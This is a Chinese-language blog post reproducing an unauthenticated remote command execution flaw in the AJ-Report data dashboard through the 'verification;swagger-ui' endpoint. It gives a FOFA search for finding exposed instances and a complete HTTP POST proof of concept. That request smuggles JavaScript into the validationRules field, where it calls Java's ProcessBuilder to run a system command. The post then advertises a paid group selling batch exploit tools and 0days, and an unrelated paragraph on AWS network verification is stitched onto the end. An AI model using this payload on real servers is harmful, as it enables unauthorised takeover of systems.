AJ-Report开源数据大屏 verification;swagger-ui RCE漏洞复现

0x01 免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!

0x02 产品介绍

AJ-Report是一个完全开源的BI平台,酷炫大屏展示,能随时随地掌控业务动态,让每个决策都有数据支撑。多数据源支持,内置mysql、elasticsearch、kudu等多种驱动,支持自定义数据集省去数据接口开发,支持17+种大屏组件,不会开发,照着设计稿也可以制作大屏。三步轻松完成大屏设计:配置数据源---->写SQL配置数据集---->拖拽配置大屏---->保存发布。欢迎体验。

0x03 漏洞威胁

AJ-Report开源数据大屏 verification;swagger-ui接口存在远程命令执行漏洞,未经身份验证的远程攻击者可以利用此类漏洞执行任意命令,写入后门文件,最终可获取服务器权限。

0x04 漏洞环境

FOFA:

title="AJ-Report"

0x05 漏洞复现

POC

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

0x06 批量脚本验证

Nuclei验证脚本已发布
知识星球:冷漠安全

0x07 修复建议

关闭互联网暴露面或接口设置访问权限

升级至安全版本。

0x08 加入我们

漏洞详情及批量检测POC工具请前往知识星球获取

知识星球:冷漠安全
交个朋友,限时优惠券:加入立减25

星球福利:每天更新最新漏洞POC、资料文献、内部工具等

「星球介绍」:

本星球不割韭菜,不发烂大街东西。欢迎进来白嫖,不满意三天退款。

本星球坚持每天分享一些攻防知识,包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。

本星主已加入几十余个付费星球,定期汇聚高质量资料及工具进行星球分享。

「星球服务」:

加入星球,你会获得:

♦ 批量验证漏洞POC脚本

♦ 0day、1day分享

♦ 汇集其它付费星球资源分享

♦ 大量的红蓝对抗实战资源

♦ 优秀的内部红蓝工具及插件

♦ 综合类别优秀Wiki文库及漏洞库

♦ 提问及技术交流

AWS模型驱动的网络验证(Model-based Network Verification)是一种在AWS云环境中进行网络验证的方法。它基于模型,通过自动化验证网络配置和行为的正确性,帮助用户减少风险和提高网络可靠性。此方法使用AWS网络配置和流量模型,结合AWS服务的知识,以验证网络实现是否符合用户的预期。 这种网络验证方法主要包括以下步骤: 首先,用户需要构建一个包含网络拓扑结构、连接和安全策略等信息的网络模型。网络模型可以使用AWS提供的云服务(如AWS CloudFormation)或者第三方工具来创建。 接下来,用户需要定义网络验证的标准和规则。这些标准和规则可以基于AWS的文档、最佳实践或用户自定义的要求。例如,可以验证网络配置是否符合安全组规则、子网之间的路由是否正确等。 然后,用户可以使用模型驱动的网络验证工具来验证网络模型和网络配置是否一致。这些工具可以自动分析网络模型,并与实际网络配置进行对比。如果发现不一致或者不符合规则的情况,这些工具会生成报告并提供修复建议。 最后,用户可以根据验证结果进行网络配置的修改和调整。网络模型驱动的验证工具可以帮助用户快速定位和修复网络配置中的问题,从而提高网络的可靠性和安全性。 总之,AWS模型驱动的网络验证是一种通过验证网络模型和实际网络配置的一致性来提高网络可靠性和安全性的方法。通过自动化的验证工具,用户可以快速发现和修复网络配置中的问题,减少风险并提高网络性能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值